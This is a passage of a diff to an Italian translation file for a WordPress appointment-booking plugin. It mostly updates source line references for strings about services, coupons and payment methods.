assets\u002Fjs\u002Fgutenberg-blocks.js:12151\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12152\n msgid \"Display depth of child categories.\"\n msgstr \"Visualizza tutte le categorie inferiori.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:97\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:127\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:88\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12160\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12161\n msgid \"Number\"\n msgstr \"Numero\"\n \n@@ -2157,56 +2147,56 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:128\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:89\n #: includes\u002Fshortcodes\u002FAbstractTermsListShortcode.php:24\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12161\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12162\n msgid \"Maximum number of categories to show.\"\n msgstr \"Numero massimo di categorie da visualizzare.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:126\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:158\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:41\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12190\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12191\n msgid \"Term name\"\n msgstr \"Nome del termine\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:127\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:159\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:42\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12193\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12194\n msgid \"Term slug\"\n msgstr \"Slug del termine\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:128\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:160\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:43\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12196\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12197\n msgid \"Term ID\"\n msgstr \"ID termine\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:129\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:161\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:44\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12199\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12200\n msgid \"Parent ID\"\n msgstr \"ID superiore\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:130\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:162\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:45\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12202\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12203\n msgid \"Number of associated objects\"\n msgstr \"Numero di oggetti associati\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:131\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:163\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:46\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12205\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12206\n msgid \"Keep the order of \\\"IDs\\\" parameter\"\n msgstr \"Mantieni l'ordine del parametro \\\"ID\\\"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:132\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:164\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:47\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12208\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12209\n msgid \"Term order\"\n msgstr \"Ordine del termine\"\n \n@@ -2214,35 +2204,35 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:24\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:29\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12620\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12621\n msgid \"Services List\"\n msgstr \"Elenco dei servizi\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:57\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:73\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:56\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12432\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12433\n msgid \"Show service price.\"\n msgstr \"Mostra il prezzo dei servizi.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:67\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:83\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:61\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12440\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12441\n msgid \"Show service duration.\"\n msgstr \"Mostra la durata del servizio.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:77\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:93\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:66\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12448\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12449\n msgid \"Show service capacity.\"\n msgstr \"Mostra la capacità dei servizio.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:87\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:103\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:71\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12456\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12457\n msgid \"Show service employees.\"\n msgstr \"Mostra i dipendenti del servizio.\"\n \n@@ -2250,7 +2240,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:116\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:61\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:76\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12465\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12466\n msgid \"Comma-separated slugs or IDs of services that will be shown.\"\n msgstr \"Chiavi o identificatori separate da virgole o ID dei servizi che verranno visualizzati.\"\n \n@@ -2258,7 +2248,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:126\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:67\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:81\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12474\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12475\n msgid \"Comma-separated slugs or IDs of employees that perform these services.\"\n msgstr \"Chiavi o identificatori separate da virgole o ID dei dipendenti che eseguiranno questi servizi.\"\n \n@@ -2266,7 +2256,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:143\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:78\n #: includes\u002Fpost-types\u002FServicePostType.php:210\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12491\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12492\n msgid \"Tags\"\n msgstr \"Tag\"\n \n@@ -2365,7 +2355,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:105\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:75\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:74\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12142\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12143\n msgid \"Hide terms not assigned to any posts.\"\n msgstr \"Nascondi i termini non ancora assegnati ad alcun post.\"\n \n@@ -2623,10 +2613,10 @@\n #: includes\u002Femails\u002Ftags\u002Fbooking\u002FBookingLeftToPayTag.php:19\n #: templates\u002Femails\u002Fadmin\u002Fadmin-approved-booking-email.php:29\n #: templates\u002Femails\u002Fcustomer\u002Fcustomer-approved-payment-email.php:24\n-#: assets\u002Fjs\u002Fdivi-modules.js:6018\n-#: assets\u002Fjs\u002Felementor-widgets.js:6018\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6457\n-#: assets\u002Fjs\u002Fpublic.js:6018\n+#: assets\u002Fjs\u002Fdivi-modules.js:6019\n+#: assets\u002Fjs\u002Felementor-widgets.js:6019\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6458\n+#: assets\u002Fjs\u002Fpublic.js:6019\n msgid \"Left to pay\"\n msgstr \"Da pagare\"\n \n@@ -2846,11 +2836,11 @@\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-cart.php:48\n #: templates\u002Fshortcodes\u002Ftemplate-parts\u002Fbooking-details.php:51\n #: assets\u002Fjs\u002Fcalendar-page.js:38070\n-#: assets\u002Fjs\u002Fdivi-modules.js:2858\n-#: assets\u002Fjs\u002Fedit-post.js:4314\n-#: assets\u002Fjs\u002Felementor-widgets.js:2858\n+#: assets\u002Fjs\u002Fdivi-modules.js:2859\n+#: assets\u002Fjs\u002Fedit-post.js:4315\n+#: assets\u002Fjs\u002Felementor-widgets.js:2859\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:431\n-#: assets\u002Fjs\u002Fpublic.js:2858\n+#: assets\u002Fjs\u002Fpublic.js:2859\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:300\n msgid \"Clients\"\n msgstr \"Clienti\"\n@@ -2912,13 +2902,13 @@\n #: includes\u002Ffields\u002Fcomplex\u002FTimetableField.php:313\n #: includes\u002Fstructures\u002FTimePeriod.php:294\n #: assets\u002Fjs\u002Fcalendar-page.js:38145\n-#: assets\u002Fjs\u002Fdivi-modules.js:3569\n+#: assets\u002Fjs\u002Fdivi-modules.js:3570\n #: assets\u002Fjs\u002Fedit-post.js:2101\n-#: assets\u002Fjs\u002Fedit-post.js:4846\n-#: assets\u002Fjs\u002Fedit-post.js:8800\n-#: assets\u002Fjs\u002Felementor-widgets.js:3569\n+#: assets\u002Fjs\u002Fedit-post.js:4847\n+#: assets\u002Fjs\u002Fedit-post.js:8801\n+#: assets\u002Fjs\u002Felementor-widgets.js:3570\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:1855\n-#: assets\u002Fjs\u002Fpublic.js:3569\n+#: assets\u002Fjs\u002Fpublic.js:3570\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:1620\n msgid \"All day\"\n msgstr \"Tutto il giorno\"\n@@ -2927,12 +2917,12 @@\n #: includes\u002Ffields\u002Fcomplex\u002FDaysOffField.php:100\n #: templates\u002Fshortcodes\u002Fbooking\u002Fcart\u002Fadmin-cart-item.php:113\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-cart.php:72\n-#: assets\u002Fjs\u002Fdivi-modules.js:5975\n+#: assets\u002Fjs\u002Fdivi-modules.js:5976\n #: assets\u002Fjs\u002Fedit-post.js:2051\n #: assets\u002Fjs\u002Fedit-post.js:2283\n-#: assets\u002Fjs\u002Felementor-widgets.js:5975\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6414\n-#: assets\u002Fjs\u002Fpublic.js:5975\n+#: assets\u002Fjs\u002Felementor-widgets.js:5976\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6415\n+#: assets\u002Fjs\u002Fpublic.js:5976\n msgid \"Remove\"\n msgstr \"Rimuovere\"\n \n@@ -3039,7 +3029,7 @@\n \n #. Translators: %s: Location name, like \"Barbershop\".\n #: includes\u002Ffields\u002Fcomplex\u002FTimetableField.php:241\n-#: assets\u002Fjs\u002Fedit-post.js:8815\n+#: assets\u002Fjs\u002Fedit-post.js:8816\n #, php-format,js-format\n msgctxt \"Working at %s\"\n msgid \"at %s\"\n@@ -3344,11 +3334,11 @@\n \n #: includes\u002Fhelpers\u002FPriceCalculationHelper.php:50\n #: includes\u002Fhelpers\u002FPriceCalculationHelper.php:122\n-#: assets\u002Fjs\u002Fdivi-modules.js:6056\n+#: assets\u002Fjs\u002Fdivi-modules.js:6057\n #: assets\u002Fjs\u002Fedit-post.js:1602\n-#: assets\u002Fjs\u002Felementor-widgets.js:6056\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6495\n-#: assets\u002Fjs\u002Fpublic.js:6056\n+#: assets\u002Fjs\u002Felementor-widgets.js:6057\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6496\n+#: assets\u002Fjs\u002Fpublic.js:6057\n msgctxt \"Zero price\"\n msgid \"Free\"\n msgstr \"Liberamente\"\n@@ -3433,33 +3423,33 @@\n msgid \"You can add a new log message here and press Update to save it\"\n msgstr \"Qui puoi aggiungere un nuovo messaggio di registro, poi premi Aggiorna per salvarlo\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:49\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:50\n #: includes\u002Fpost-types\u002FCouponPostType.php:60\n #: templates\u002Fshortcodes\u002Fbooking\u002Fsections\u002Fcoupon-section.php:14\n msgid \"Coupon\"\n msgstr \"Coupon\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:55\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:56\n msgid \"Reserved Services\"\n msgstr \"Servizi prenotati\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:59\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:60\n #: includes\u002Fmetaboxes\u002Fpayment\u002FPaymentDetailsMetabox.php:38\n msgid \"Payment Details\"\n msgstr \"Dettagli di pagamento\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:65\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:66\n msgid \"Booking Price\"\n msgstr \"Prezzo della prenotazione\"\n \n #. Translators: %d: Booking ID.\n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:141\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:142\n #: includes\u002Frepositories\u002FBookingRepository.php:113\n #, php-format\n msgid \"Booking #%d\"\n msgstr \"Prenotazione #%d\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:186\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:187\n #: includes\u002Frest\u002Fcontrollers\u002Fmotopress\u002Fappointment\u002Fv1\u002FBookingsRestController.php:144\n #: includes\u002Frest\u002Fcontrollers\u002Fmotopress\u002Fappointment\u002Fv1\u002FBookingsRestController.php:295\n msgid \"Sorry, the selected time slot is already booked.\"\n@@ -4035,38 +4025,38 @@\n msgid \"Pay with your credit card via Stripe. Use the card number 4242424242424242 with CVC 123, a valid expiration date and random 5-digit ZIP-code to test a payment.\"\n msgstr \"Paga con la tua carta di credito tramite Stripe. Utilizza il numero di carta 42424242424242 con CVC 123, una data di scadenza valida e CAP casuale a 5 cifre per testare un pagamento.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8384\n-#: assets\u002Fjs\u002Felementor-widgets.js:8384\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8823\n-#: assets\u002Fjs\u002Fpublic.js:8384\n+#: assets\u002Fjs\u002Fdivi-modules.js:8385\n+#: assets\u002Fjs\u002Felementor-widgets.js:8385\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8824\n+#: assets\u002Fjs\u002Fpublic.js:8385\n msgid \"Bancontact\"\n msgstr \"Bancontact\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8411\n-#: assets\u002Fjs\u002Felementor-widgets.js:8411\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8850\n-#: assets\u002Fjs\u002Fpublic.js:8411\n+#: assets\u002Fjs\u002Fdivi-modules.js:8412\n+#: assets\u002Fjs\u002Felementor-widgets.js:8412\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8851\n+#: assets\u002Fjs\u002Fpublic.js:8412\n msgid \"iDEAL\"\n msgstr \"iDEAL\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8449\n-#: assets\u002Fjs\u002Felementor-widgets.js:8449\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8888\n-#: assets\u002Fjs\u002Fpublic.js:8449\n+#: assets\u002Fjs\u002Fdivi-modules.js:8450\n+#: assets\u002Fjs\u002Felementor-widgets.js:8450\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8889\n+#: assets\u002Fjs\u002Fpublic.js:8450\n msgid \"Giropay\"\n msgstr \"Giropay\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8349\n-#: assets\u002Fjs\u002Felementor-widgets.js:8349\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8788\n-#: assets\u002Fjs\u002Fpublic.js:8349\n+#: assets\u002Fjs\u002Fdivi-modules.js:8350\n+#: assets\u002Fjs\u002Felementor-widgets.js:8350\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8789\n+#: assets\u002Fjs\u002Fpublic.js:8350\n msgid \"SEPA Direct Debit\"\n msgstr \"Addebito diretto SEPA\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8476\n-#: assets\u002Fjs\u002Felementor-widgets.js:8476\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8915\n-#: assets\u002Fjs\u002Fpublic.js:8476\n+#: assets\u002Fjs\u002Fdivi-modules.js:8477\n+#: assets\u002Fjs\u002Felementor-widgets.js:8477\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8916\n+#: assets\u002Fjs\u002Fpublic.js:8477\n msgid \"SOFORT\"\n msgstr \"SOFORT\"\n \n@@ -5513,10 +5503,10 @@\n msgstr \"Modifica Prenotazioni\"\n \n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-booking.php:24\n-#: assets\u002Fjs\u002Fdivi-modules.js:5645\n-#: assets\u002Fjs\u002Felementor-widgets.js:5645\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6084\n-#: assets\u002Fjs\u002Fpublic.js:5645\n+#: assets\u002Fjs\u002Fdivi-modules.js:5646\n+#: assets\u002Fjs\u002Felementor-widgets.js:5646\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6085\n+#: assets\u002Fjs\u002Fpublic.js:5646\n msgid \"Making a reservation...\"\n msgstr \"Prenotazione in corso...\"\n \n@@ -6229,168 +6219,168 @@\n msgstr \"Dicembre\"\n \n #: assets\u002Fjs\u002Fcustomers-page.js:497\n-#: assets\u002Fjs\u002Fdivi-modules.js:6650\n+#: assets\u002Fjs\u002Fdivi-modules.js:6651\n #: assets\u002Fjs\u002Fedit-post.js:1100\n-#: assets\u002Fjs\u002Felementor-widgets.js:6650\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:7089\n-#: assets\u002Fjs\u002Fpublic.js:6650\n+#: assets\u002Fjs\u002Felementor-widgets.js:6651\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:7090\n+#: assets\u002Fjs\u002Fpublic.js:6651\n #: assets\u002Fjs\u002Fsettings-page.js:685\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2911\n msgid \"Phone number is invalid.\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:5749\n-#: assets\u002Fjs\u002Fdivi-modules.js:7633\n-#: assets\u002Fjs\u002Felementor-widgets.js:5749\n-#: assets\u002Fjs\u002Felementor-widgets.js:7633\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6188\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8072\n-#: assets\u002Fjs\u002Fpublic.js:5749\n-#: assets\u002Fjs\u002Fpublic.js:7633\n+#: assets\u002Fjs\u002Fdivi-modules.js:5750\n+#: assets\u002Fjs\u002Fdivi-modules.js:7634\n+#: assets\u002Fjs\u002Felementor-widgets.js:5750\n+#: assets\u002Fjs\u002Felementor-widgets.js:7634\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6189\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8073\n+#: assets\u002Fjs\u002Fpublic.js:5750\n+#: assets\u002Fjs\u002Fpublic.js:7634\n msgid \"You will be redirected to a secure page to complete the payment.\"\n msgstr \"Sarai reindirizzato ad una pagina sicura per completare il pagamento.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:5960\n-#: assets\u002Fjs\u002Felementor-widgets.js:5960\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6399\n-#: assets\u002Fjs\u002Fpublic.js:5960\n+#: assets\u002Fjs\u002Fdivi-modules.js:5961\n+#: assets\u002Fjs\u002Felementor-widgets.js:5961\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6400\n+#: assets\u002Fjs\u002Fpublic.js:5961\n msgid \"Subtotal\"\n msgstr \"Subtotale\"\n \n #. Translators: %s: Coupon code.\n-#: assets\u002Fjs\u002Fdivi-modules.js:5970\n-#: assets\u002Fjs\u002Felementor-widgets.js:5970\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6409\n-#: assets\u002Fjs\u002Fpublic.js:5970\n+#: assets\u002Fjs\u002Fdivi-modules.js:5971\n+#: assets\u002Fjs\u002Felementor-widgets.js:5971\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6410\n+#: assets\u002Fjs\u002Fpublic.js:5971\n #, js-format\n msgid \"Coupon: %s\"\n msgstr \"Codice: %s\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:5982\n-#: assets\u002Fjs\u002Fdivi-modules.js:8135\n-#: assets\u002Fjs\u002Fdivi-modules.js:8650\n-#: assets\u002Fjs\u002Felementor-widgets.js:5982\n-#: assets\u002Fjs\u002Felementor-widgets.js:8135\n-#: assets\u002Fjs\u002Felementor-widgets.js:8650\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6421\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8574\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:9089\n-#: assets\u002Fjs\u002Fpublic.js:5982\n-#: assets\u002Fjs\u002Fpublic.js:8135\n-#: assets\u002Fjs\u002Fpublic.js:8650\n+#: assets\u002Fjs\u002Fdivi-modules.js:5983\n+#: assets\u002Fjs\u002Fdivi-modules.js:8136\n+#: assets\u002Fjs\u002Fdivi-modules.js:8651\n+#: assets\u002Fjs\u002Felementor-widgets.js:5983\n+#: assets\u002Fjs\u002Felementor-widgets.js:8136\n+#: assets\u002Fjs\u002Felementor-widgets.js:8651\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6422\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8575\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:9090\n+#: assets\u002Fjs\u002Fpublic.js:5983\n+#: assets\u002Fjs\u002Fpublic.js:8136\n+#: assets\u002Fjs\u002Fpublic.js:8651\n msgid \"Total\"\n msgstr \"Totale\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6005\n-#: assets\u002Fjs\u002Felementor-widgets.js:6005\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6444\n-#: assets\u002Fjs\u002Fpublic.js:6005\n+#: assets\u002Fjs\u002Fdivi-modules.js:6006\n+#: assets\u002Fjs\u002Felementor-widgets.js:6006\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6445\n+#: assets\u002Fjs\u002Fpublic.js:6006\n msgid \"Deposit\"\n msgstr \"Deposito\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6010\n-#: assets\u002Fjs\u002Felementor-widgets.js:6010\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6449\n-#: assets\u002Fjs\u002Fpublic.js:6010\n+#: assets\u002Fjs\u002Fdivi-modules.js:6011\n+#: assets\u002Fjs\u002Felementor-widgets.js:6011\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6450\n+#: assets\u002Fjs\u002Fpublic.js:6011\n msgid \"Paying now\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6548\n-#: assets\u002Fjs\u002Felementor-widgets.js:6548\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6987\n-#: assets\u002Fjs\u002Fpublic.js:6548\n+#: assets\u002Fjs\u002Fdivi-modules.js:6549\n+#: assets\u002Fjs\u002Felementor-widgets.js:6549\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6988\n+#: assets\u002Fjs\u002Fpublic.js:6549\n msgid \"Coupon code is empty.\"\n msgstr \"Codice sconto vuoto.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6557\n-#: assets\u002Fjs\u002Felementor-widgets.js:6557\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6996\n-#: assets\u002Fjs\u002Fpublic.js:6557\n+#: assets\u002Fjs\u002Fdivi-modules.js:6558\n+#: assets\u002Fjs\u002Felementor-widgets.js:6558\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6997\n+#: assets\u002Fjs\u002Fpublic.js:6558\n msgid \"Coupon code applied successfully.\"\n msgstr \"Codice coupon applicato con successo.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6559\n-#: assets\u002Fjs\u002Felementor-widgets.js:6559\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6998\n-#: assets\u002Fjs\u002Fpublic.js:6559\n+#: assets\u002Fjs\u002Fdivi-modules.js:6560\n+#: assets\u002Fjs\u002Felementor-widgets.js:6560\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6999\n+#: assets\u002Fjs\u002Fpublic.js:6560\n msgid \"Sorry, your booking is not eligible for this coupon.\"\n msgstr \"Ci dispiace, la tua prenotazione non è idonea per questo coupon.\"\n \n #. Translators: %s: Business name.\n-#: assets\u002Fjs\u002Fdivi-modules.js:7563\n-#: assets\u002Fjs\u002Felementor-widgets.js:7563\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8002\n-#: assets\u002Fjs\u002Fpublic.js:7563\n+#: assets\u002Fjs\u002Fdivi-modules.js:7564\n+#: assets\u002Fjs\u002Felementor-widgets.js:7564\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8003\n+#: assets\u002Fjs\u002Fpublic.js:7564\n #, js-format\n msgid \"By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited.\"\n msgstr \"Fornendo il tuo IBAN e confermando questo pagamento, autorizzi (A) %s e Stripe, il nostro fornitore di servizi di pagamento, a inviare istruzioni alla tua banca per addebitare il tuo conto e (B) la tua banca ad addebitare il tuo conto in conformità con tali istruzioni. Hai diritto a un rimborso dalla tua banca in base ai termini e alle condizioni del tuo accordo con la tua banca. Un rimborso deve essere richiesto entro 8 settimane dalla data in cui il tuo conto è stato addebitato.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7584\n-#: assets\u002Fjs\u002Felementor-widgets.js:7584\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8023\n-#: assets\u002Fjs\u002Fpublic.js:7584\n+#: assets\u002Fjs\u002Fdivi-modules.js:7585\n+#: assets\u002Fjs\u002Felementor-widgets.js:7585\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8024\n+#: assets\u002Fjs\u002Fpublic.js:7585\n msgid \"Credit or debit card\"\n msgstr \"Carta di credito o di debito\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7588\n-#: assets\u002Fjs\u002Felementor-widgets.js:7588\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8027\n-#: assets\u002Fjs\u002Fpublic.js:7588\n+#: assets\u002Fjs\u002Fdivi-modules.js:7589\n+#: assets\u002Fjs\u002Felementor-widgets.js:7589\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8028\n+#: assets\u002Fjs\u002Fpublic.js:7589\n msgid \"or\"\n msgstr \"o\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7603\n-#: assets\u002Fjs\u002Felementor-widgets.js:7603\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8042\n-#: assets\u002Fjs\u002Fpublic.js:7603\n+#: assets\u002Fjs\u002Fdivi-modules.js:7604\n+#: assets\u002Fjs\u002Felementor-widgets.js:7604\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8043\n+#: assets\u002Fjs\u002Fpublic.js:7604\n msgid \"Select iDEAL Bank\"\n msgstr \"Seleziona iDEAL Bank\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7618\n-#: assets\u002Fjs\u002Felementor-widgets.js:7618\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8057\n-#: 